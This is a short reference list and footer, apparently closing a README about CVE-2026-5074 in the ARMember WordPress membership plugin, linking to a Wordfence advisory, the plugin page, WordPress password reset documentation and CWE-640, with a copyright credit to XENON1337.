- [Wordfence Advisory โ CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
- [ARMember Plugin Repository](https://wordpress.org/plugins/armember-membership/)
- [WordPress Password Reset Mechanism](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
- [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)
---
<div align="center">


Copyright ยฉ 2026 **XENON1337**
Special Thanks: **ENDANG**
</div>